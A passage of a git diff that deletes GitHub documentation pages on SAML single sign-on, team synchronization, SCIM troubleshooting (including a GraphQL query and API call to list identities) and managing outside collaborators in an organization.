/preparing-to-enforce-saml-single-sign-on-in-your-organization - - /enforcing-saml-single-sign-on-for-your-organization - - /downloading-your-organizations-saml-single-sign-on-recovery-codes - - /managing-team-synchronization-for-your-organization - - /disabling-saml-single-sign-on-for-your-organization - - /accessing-your-organization-if-your-identity-provider-is-unavailable - - /troubleshooting-identity-and-access-management-for-your-organization -shortTitle: Manage SAML single sign-on ---- - -{% data reusables.saml.ghec-only %} diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md deleted file mode 100644 index e9826e2255d7..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Managing team synchronization for your organization -intro: 'You can enable and disable team synchronization between your identity provider (IdP) and your organization on {% data variables.product.github %}.' -redirect_from: - - /articles/synchronizing-teams-between-your-identity-provider-and-github - - /github/setting-up-and-managing-organizations-and-teams/synchronizing-teams-between-your-identity-provider-and-github - - /github/articles/synchronizing-teams-between-okta-and-github - - /github/setting-up-and-managing-organizations-and-teams/managing-team-synchronization-for-your-organization -permissions: Organization owners can manage team synchronization for an organization. -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage team synchronization ---- - -{% data reusables.enterprise-accounts.emu-scim-note %} - -## About team synchronization - -You can enable team synchronization between your IdP and {% data variables.product.github %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. - -{% data reusables.identity-and-permissions.about-team-sync %} - -{% data reusables.identity-and-permissions.team-and-idp-group %} - -{% data reusables.saml.ghec-only %} - -{% data reusables.identity-and-permissions.supported-idps-team-sync %} - -{% ifversion team-sync-manage-org-invites %} -{% data reusables.identity-and-permissions.team-sync-org-invites %} -{% endif %} - -{% data reusables.identity-and-permissions.sync-team-with-idp-group %} - -You can also enable team synchronization for all organizations owned by an enterprise account. If SAML is configured at the enterprise level, you cannot enable team synchronization on an individual organization. Instead, you must configure team synchronization for the entire enterprise. For more information, see [AUTOTITLE](/enterprise-cloud@latest/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -{% data reusables.enterprise-accounts.team-sync-override %} - -{% data reusables.identity-and-permissions.team-sync-usage-limits %} - -## Enabling team synchronization - -The steps to enable team synchronization depend on the IdP you want to use. There are prerequisites to enable team synchronization that apply to every IdP. Each individual IdP has additional prerequisites. - -### Prerequisites - -{% data reusables.identity-and-permissions.team-sync-required-permissions %} - -You must enable SAML single sign-on for your organization and your supported IdP. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). - -You must have a linked SAML identity. To create a linked identity, you must authenticate to your organization using SAML SSO and the supported IdP at least once. For more information, see [AUTOTITLE](/authentication/authenticating-with-saml-single-sign-on). - -> [!NOTE] -> For team synchronization to work, your SAML settings must contain a valid IdP URL for the "Issuer" field. For more information, see [Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization#enabling-and-testing-saml-single-sign-on-for-your-organization). - -### Enabling team synchronization for Entra ID - -{% data reusables.identity-and-permissions.team-sync-azure-permissions %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.team-sync-confirm-saml %} -{% data reusables.identity-and-permissions.enable-team-sync-azure %} -{% data reusables.identity-and-permissions.team-sync-confirm %} -1. Review the identity provider tenant information you want to connect to your organization, then click **Approve**. - -### Enabling team synchronization for Okta - -Okta team synchronization requires that SAML and SCIM with Okta have already been set up for your organization. - -To avoid potential team synchronization errors with Okta, we recommend that you confirm that SCIM linked identities are correctly set up for all organization members who are members of your chosen Okta groups, before enabling team synchronization on {% data variables.product.prodname_dotcom %}. - -If an organization member does not have a linked SCIM identity, then team synchronization will not work as expected and the user may not be added or removed from teams as expected. If any of these users are missing a SCIM linked identity, you will need to re-provision them. - -For help on provisioning users that have missing a missing SCIM linked identity, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization). - -{% data reusables.identity-and-permissions.team-sync-okta-requirements %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.team-sync-confirm-saml %} -{% data reusables.identity-and-permissions.team-sync-confirm-scim %} -1. Consider enforcing SAML in your organization to ensure that organization members link their SAML and SCIM identities. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). -{% data reusables.identity-and-permissions.enable-team-sync-okta %} -1. Under your organization's name, in the "SSWS Token" field, type a valid SSWS token. -1. In the "URL" field, type the URL for your Okta instance. -1. Review the identity provider tenant information you want to connect to your organization, then click **Create**. - -{% ifversion team-sync-manage-org-invites %} - -## Managing whether team sync can re-invite non-members to your organization - -{% data reusables.saml.team-sync-pending-invites %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "Team synchronization", select or deselect **Do not allow Team Sync to re-invite past members to this organization that were removed by an organization owner.** -{% endif %} - -## Disabling team synchronization - -{% data reusables.identity-and-permissions.team-sync-disable %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "Team synchronization", click **Disable team synchronization**. diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md deleted file mode 100644 index 2d660b0d2979..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/preparing-to-enforce-saml-single-sign-on-in-your-organization.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Preparing to enforce SAML single sign-on in your organization -intro: 'Before you enforce SAML single sign-on in your organization, you should verify your organization''s membership and configure the connection settings to your identity provider.' -redirect_from: - - /articles/preparing-to-enforce-saml-single-sign-on-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/preparing-to-enforce-saml-single-sign-on-in-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Prepare to enforce SAML SSO ---- - -{% data reusables.saml.ghec-only %} - -{% data reusables.saml.when-you-enforce %} Before enforcing SAML SSO in your organization, you should review organization membership, enable SAML SSO, and review organization members' SAML access. For more information, see the following. - -| Task | More information | -| :- | :- | -| Add or remove members from your organization |
  • [AUTOTITLE](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization)
  • [AUTOTITLE](/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization)
| -| Connect your IdP to your organization by enabling SAML SSO |
  • [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)
  • [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)
| -| Ensure that your organization members have signed in and linked their accounts with the IdP |
  • [AUTOTITLE](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)
| - -After you finish these tasks, you can enforce SAML SSO for your organization. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization). - -{% data reusables.saml.outside-collaborators-exemption %} diff --git a/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md b/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md deleted file mode 100644 index fb3c2d88a72b..000000000000 --- a/content/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Troubleshooting identity and access management for your organization -intro: 'Review and resolve common troubleshooting errors for managing your organization''s SAML SSO, team synchronization, or identity provider (IdP) connection.' -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Troubleshooting access -redirect_from: - - /organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management ---- - -{% data reusables.saml.current-time-earlier-than-notbefore-condition %} - -{% data reusables.saml.authentication-loop %} - -## Some users are not provisioned or deprovisioned by SCIM - -When you encounter provisioning issues with users, we recommend that you check if the users are missing SCIM metadata. - -{% data reusables.scim.changes-should-come-from-idp %} - -If an organization member has missing SCIM metadata, then you can re-provision SCIM for the user manually through your IdP. - -### Auditing users for missing SCIM metadata - -If you suspect or notice that any users are not provisioned or deprovisioned as expected, we recommend that you audit all users in your organization. - -To check whether users have a SCIM identity (SCIM metadata) in their external identity, you can review SCIM metadata for one organization member at a time on {% data variables.product.prodname_dotcom %} or you can programmatically check all organization members using the {% data variables.product.prodname_dotcom %} API. - -When the IdP sends a provisioning call to the {% data variables.product.prodname_dotcom %} SCIM API, the SCIM `userName` in that API call needs to match the stored SAML `nameID` in the user's linked SAML identity in the organization. If these two values do not match, the SCIM metadata will not get populated, and the SCIM identity will not get successfully linked. To check whether these values match, use the {% data variables.product.prodname_dotcom %} API. - -#### Auditing organization members on {% data variables.product.prodname_dotcom %} - -As an organization owner, to confirm that SCIM metadata exists for a single organization member, visit this URL, replacing `` and ``: - -> `https://github.com/orgs//people//sso` - -If the user's external identity includes SCIM metadata, the organization owner should see a SCIM identity section on that page. If their external identity does not include any SCIM metadata, the SCIM Identity section will not exist. - -#### Auditing organization members through the {% data variables.product.prodname_dotcom %} API - -As an organization owner, you can also query the SCIM REST API or GraphQL to list all SCIM provisioned identities in an organization. - -#### Using the REST API - -The SCIM REST API will only return data for users that have SCIM metadata populated under their external identities. We recommend you compare a list of SCIM provisioned identities with a list of all your organization members. - -For more information, see: -* [AUTOTITLE](/rest/scim/scim#list-scim-provisioned-identities) -* [AUTOTITLE](/rest/orgs/members#list-organization-members) - -#### Using GraphQL - -This GraphQL query shows you the SAML `NameId`, the SCIM `UserName` and the {% data variables.product.prodname_dotcom %} username (`login`) for each user in the organization. To use this query, replace `ORG` with your organization name. - -```graphql -{ - organization(login: "ORG") { - samlIdentityProvider { - ssoUrl - externalIdentities(first: 100) { - edges { - node { - samlIdentity { - nameId - } - scimIdentity { - username - } - user { - login - } - } - } - } - } - } -} -``` - -```shell -curl -X POST -H "Authorization: Bearer YOUR_TOKEN" -H "Content-Type: application/json" -d '{ "query": "{ organization(login: \"ORG\") { samlIdentityProvider { externalIdentities(first: 100) { pageInfo { endCursor startCursor hasNextPage } edges { cursor node { samlIdentity { nameId } scimIdentity {username} user { login } } } } } } }" }' https://api.github.com/graphql -``` - -For more information on using the GraphQL API, see: -* [AUTOTITLE](/graphql/guides) -* [AUTOTITLE](/graphql/overview/explorer) - -### Re-provisioning SCIM for users through your identity provider - -You can re-provision SCIM for users manually through your IdP. For example, to resolve provisioning errors for Okta, in the Okta admin portal, you can unassign and reassign users to the {% data variables.product.prodname_dotcom %} app. This should trigger Okta to make an API call to populate the SCIM metadata for these users on {% data variables.product.prodname_dotcom %}. For more information, see [Unassign users from applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-unassign-apps.htm) or [Assign users to applications](https://help.okta.com/en/prod/Content/Topics/users-groups-profiles/usgp-assign-apps.htm) in the Okta documentation. - -To confirm that a user's SCIM identity is created, we recommend testing this process with a single organization member whom you have confirmed doesn't have a SCIM external identity. After manually updating the users in your IdP, you can check if the user's SCIM identity was created using the SCIM API or on {% data variables.product.prodname_dotcom %}. For more information, see [Auditing users for missing SCIM metadata](#auditing-users-for-missing-scim-metadata) or [AUTOTITLE](/rest/scim/scim#get-scim-provisioning-information-for-a-user). - -If re-provisioning SCIM for users doesn't help, please contact {% data variables.product.prodname_dotcom %} Support. - -## Conflicting SAML identity error - -{% data reusables.saml.conflicting-identity %} - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/troubleshooting-identity-and-access-management-for-your-enterprise) diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/index.md b/content/organizations/managing-user-access-to-your-organizations-repositories/index.md deleted file mode 100644 index 4263f170e802..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing user access to your organization's repositories -intro: Organization owners can manage individual and team access to the organization's repositories. Team maintainers can also manage a team's repository access. -redirect_from: - - /articles/permission-levels-for-an-organization-repository - - /articles/managing-access-to-your-organization-s-repositories - - /articles/managing-access-to-your-organizations-repositories - - /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-repositories - - /organizations/managing-access-to-your-organizations-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /managing-repository-roles - - /managing-outside-collaborators -shortTitle: Manage repository access ---- diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization.md deleted file mode 100644 index 31239bb85a4d..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Adding outside collaborators to repositories in your organization -intro: You can allow people who aren't members of your organization to access repositories that your organization owns. -redirect_from: - - /articles/adding-outside-collaborators-to-repositories-in-your-organization - - /github/setting-up-and-managing-organizations-and-teams/adding-outside-collaborators-to-repositories-in-your-organization - - /organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization - - /organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Add outside collaborator -permissions: People with admin access to a repository can add an outside collaborator to the repository. ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -## About outside collaborators - -{% data reusables.organizations.about-outside-collaborators %} You can choose the level of access to grant for each outside collaborator. {% data reusables.organizations.outside_collaborator_forks %} - -{% data reusables.organizations.outside-collaborators-use-seats %} - -{% ifversion fpt %} -Organizations that use {% data variables.product.prodname_ghe_cloud %} can restrict the ability to invite collaborators. For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators) in the {% data variables.product.prodname_ghe_cloud %} documentation. -{% else %} -An organization owner can restrict the ability to invite collaborators. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators). -{% endif %} - -{% ifversion ghes %} -Before you can add someone as an outside collaborator on a repository, the person must have a personal account on {% data variables.location.product_location %}. If your enterprise uses an external authentication system such as SAML or LDAP, the person you want to add must sign in through that system to create an account. If the person does not have access to the authentication system and built-in authentication is enabled for your enterprise, a site administrator can create an account for the person. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication). -{% elsif ghec %} -Outside collaborators are not required to use SAML SSO to access resources in your organization. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). -{% endif %} - -If your organization requires two-factor authentication, all outside collaborators must enable two-factor authentication before accepting your invitation to collaborate on a repository. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization). - -Outside collaborators cannot be added to a team, team membership is restricted to members of the organization. - -## Adding outside collaborators to a repository - -You can give outside collaborators access to a repository in your repository settings. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person). diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md deleted file mode 100644 index 72db186010fa..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Canceling an invitation to become an outside collaborator in your organization -intro: You can cancel all invitations for a person to become an outside collaborator on repositories owned by your organization. -permissions: Organization owners can cancel an invitation to become an outside collaborator in the organization. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization - - /organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization - - /organizations/managing-user-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization -versions: - fpt: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Cancel collaborator invitation ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -You can view a list of all people with pending invitations to become an outside collaborator on any repository owned by your organization. - -For each pending collaborator, you can cancel all invitations to join organization repositories at the same time. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. In the "Organization permissions" sidebar, click **Pending collaborators** -1. To the right of the person you want to cancel invitations for, click **Cancel invitations**. -1. Click **Cancel invitations for pending collaborators**. diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-organization-member-to-an-outside-collaborator.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-organization-member-to-an-outside-collaborator.md deleted file mode 100644 index 6cb9a7dc36a8..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-organization-member-to-an-outside-collaborator.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Converting an organization member to an outside collaborator -intro: 'If a current member of your organization only needs access to certain repositories, such as consultants or temporary employees, you can convert them to an outside collaborator.' -permissions: Organization owners can convert an organization member to an outside collaborator. -redirect_from: - - /articles/converting-an-organization-member-to-an-outside-collaborator - - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-member-to-an-outside-collaborator - - /organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator - - /organizations/managing-user-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Convert member to collaborator ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -## About conversion of organization members to outside collaborators - -You can convert a member of an organization to an outside collaborator. For more information about outside collaborators, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/adding-outside-collaborators-to-repositories-in-your-organization). - -{% ifversion fpt or ghec %}If the organization is owned by an enterprise, converting{% elsif ghes %}Converting{% endif %} an organization member to an outside collaborator may be restricted. For more information, see [Enforcing repository management policies in your enterprise]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-inviting-{% ifversion fpt or ghec %}outside-{% endif %}collaborators-to-repositories){% ifversion ghec or ghes %}.{% elsif fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %} - -{% data reusables.organizations.outside-collaborators-use-seats %} {% data reusables.organizations.outside_collaborator_forks %} - -After converting a member to an outside collaborator, they will no longer be an explicit member of the organization and will be removed from all teams. They will retain repository access to those they were directly added to, as well as those added through their former team memberships. They will no longer be able to: - -* Create teams -* See all organization members and teams -* @mention any visible team -* Be a team maintainer - -For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). - -We recommend reviewing the organization member's access to repositories to ensure their access is as you expect. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository). - -When you convert an organization member to an outside collaborator, their privileges as organization members are saved for three months so that you can restore their membership privileges if you{% ifversion fpt or ghec %} invite them to rejoin{% else %} add them back to{% endif %} your organization within that time frame. For more information, see [AUTOTITLE](/organizations/managing-membership-in-your-organization/reinstating-a-former-member-of-your-organization). - -## Converting an organization member to an outside collaborator - -> [!NOTE] -> You may not be able to convert an organization member to an outside collaborator, if an organization owner{% ifversion not fpt %} or enterprise owner{% endif %} has restricted your ability to add outside collaborators. - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -1. Select the person or people you'd like to convert to outside collaborators. - - ![Screenshot of the first two users in a list of organization members. To the left of each member, a checkbox is checked and outlined in dark orange.](/assets/images/help/teams/list-of-members-selected-bulk.png) -1. Above the list of members, select the **X members selected...** dropdown menu and click **Convert to outside collaborator**. - - ![Screenshot of the list of organization members. Above the list, a dropdown menu, labeled "2 members selected..." is outlined in dark orange.](/assets/images/help/teams/user-bulk-management-options.png) -1. Read the information about converting members to outside collaborators, then click **Convert to outside collaborator**. diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-outside-collaborator-to-an-organization-member.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-outside-collaborator-to-an-organization-member.md deleted file mode 100644 index c1c534465a97..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-outside-collaborator-to-an-organization-member.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Converting an outside collaborator to an organization member -intro: 'If you would like to give an outside collaborator on your organization''s repositories broader permissions within your organization, you can {% ifversion fpt or ghec %}invite them to become a member of{% else %}make them a member of{% endif %} the organization.' -redirect_from: - - /articles/converting-an-outside-collaborator-to-an-organization-member - - /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member - - /organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member - - /organizations/managing-user-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member -versions: - fpt: '*' - ghes: '*' - ghec: '*' -permissions: 'Organization owners can {% ifversion fpt or ghec %}invite users to join{% else %}add users to{% endif %} an organization.' -topics: - - Organizations - - Teams -shortTitle: Convert collaborator to member ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -{% ifversion fpt or ghec %} -If your organization is on a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing). {% data reusables.organizations.org-invite-expiration %}{% endif %} - -If your organization [requires members to use two-factor authentication](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization), users {% ifversion fpt or ghec %}you invite must [enable two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa) before they can accept the invitation.{% else %}must [enable two-factor authentication](/authentication/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.people_tab_outside_collaborators %} -{% ifversion fpt or ghec %} -1. To the right of the name of the outside collaborator you want to become a member, select the {% octicon "kebab-horizontal" aria-label="Collaborator settings" %} dropdown menu and click **Invite to organization**. - - ![Screenshot of the outside collaborator list for an organization. To the right of a collaborator, a kebab icon is outlined in dark orange.](/assets/images/help/organizations/manage-outside-collaborator.png) -{% else %} -1. To the right of the name of the outside collaborator you want to become a member, click **Invite to organization**. -{% endif %} -{% data reusables.organizations.choose-to-restore-privileges %} -{% data reusables.organizations.choose-user-role-send-invitation %} -{% ifversion fpt or ghec %} -{% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %} -{% endif %} diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/index.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/index.md deleted file mode 100644 index 0189ca1adeb9..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Managing outside collaborators -intro: You can manage outside collaborators, or people who have access to repositories owned by your organization without being a member of your organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations -children: - - /adding-outside-collaborators-to-repositories-in-your-organization - - /canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization - - /removing-an-outside-collaborator-from-an-organization-repository - - /converting-an-organization-member-to-an-outside-collaborator - - /converting-an-outside-collaborator-to-an-organization-member - - /reinstating-a-former-outside-collaborators-access-to-your-organization -shortTitle: Manage outside collaborators ---- \ No newline at end of file diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/reinstating-a-former-outside-collaborators-access-to-your-organization.md deleted file mode 100644 index f1cda7e4a44b..000000000000 --- a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/reinstating-a-former-outside-collaborators-access-to-your-organization.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Reinstating a former outside collaborator's access to your organization -intro: 'You can reinstate a former outside collaborator''s access permissions for organization repositories, forks, and settings.' -redirect_from: - - /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization - - /articles/reinstating-a-former-outside-collaborators-access-to-your-organization - - /github/setting-up-and-managing-organizations-and-teams/reinstating-a-former-outside-collaborators-access-to-your-organization - - /organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization - - /organizations/managing-user-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Reinstate collaborator ---- - -{% data reusables.enterprise-managed.repo-collaborators-note %} - -When an outside collaborator's access to your organization's private repositories is removed, the user's access privileges and settings are saved for three months. You can restore the user's privileges if you {% ifversion fpt or ghec %}invite{% else %}add{% endif %} them back to the organization within that time frame. - -{% data reusables.two_fa.send-invite-to-reinstate-user-before-2fa-is-enabled %} - -When you reinstate a former outside collaborator, you can restore: -* The user's former access to organization repositories -* Any private forks of repositories owned by the organization -* Membership in the organization's teams -* Previous access and permissions for the organization's repositories -* Stars for organization repositories -* Issue assignments in the organization -* Repository subscriptions (notification settings for watching, not watching, or ignoring a repository's activity) - -> [!TIP] -> * Only organization owners can reinstate outside collaborators' access to an organization. Enterprise owners may further restrict the ability to reinstate outside collaborators' access to enterprise owners only. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization). -> * The reinstating a member flow on {% data variables.location.product_location %} may use the term "member" to describe reinstating an outside collaborator but if you reinstate this person and keep their previous privileges, they will only have their previous [outside collaborator permissions](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators).{% ifversion fpt or ghec %} -> * If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/about-per-user-pricing).{% endif %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.organizations.invite_member_from_people_tab %} -{% data reusables.organizations.reinstate-user-type-username %} -{% ifversion fpt or ghec %} -1. Select whether to restore the outside collaborator's previous privileges in the organization by clicking **Invite and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Invite and start fresh**. - - > [!WARNING] - > If you want to upgrade the outside collaborator to a member of your organization, then choose **Invite and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization _and_ keep their private forks, choose **Invite and reinstate** instead. Once this person accepts the invitation, you can convert them to an organization member by [inviting them to join the organization as a member](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-outside-collaborator-to-an-organization-member). - -{% else %} -1. Select whether to restore the outside collaborator's previous privileges in the organization by clicking **Add and reinstate** or choose to clear their previous privileges and set new access permissions by clicking **Add and start fresh**. - - > [!WARNING] - > If you want to upgrade the outside collaborator to a member of your organization, then choose **Add and start fresh** and choose a new role for this person. Note, however, that this person's private forks of your organization's repositories will be lost if you choose to start fresh. To make the former outside collaborator a member of your organization _and_ keep their private forks, choose **Add and reinstate** instead. Then, you can convert them to an organization member by [adding them to the organization as a member](/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/converting-an-outside-collaborator-to-an-organization-member). - -{% endif %} -{% ifversion fpt or ghec %} -1. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Send invitation**. -{% else %} -1. If you cleared the previous privileges for a former outside collaborator, choose a role for the user and optionally add them to some teams, then click **Add member**. -{% endif %} -{% ifversion fpt or ghec %} -1. The invited person will receive an email inviting them to the organization. They will need to accept the invitation before becoming an outside collaborator in the organization. {% data reusables.organizations.cancel_org_invite %} -{% endif %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/organizations/managing-user-access-to-your-organizations-repositories/managing-outside-collaborators/removing-an-outside-collaborator-from-an-organization-repository.md 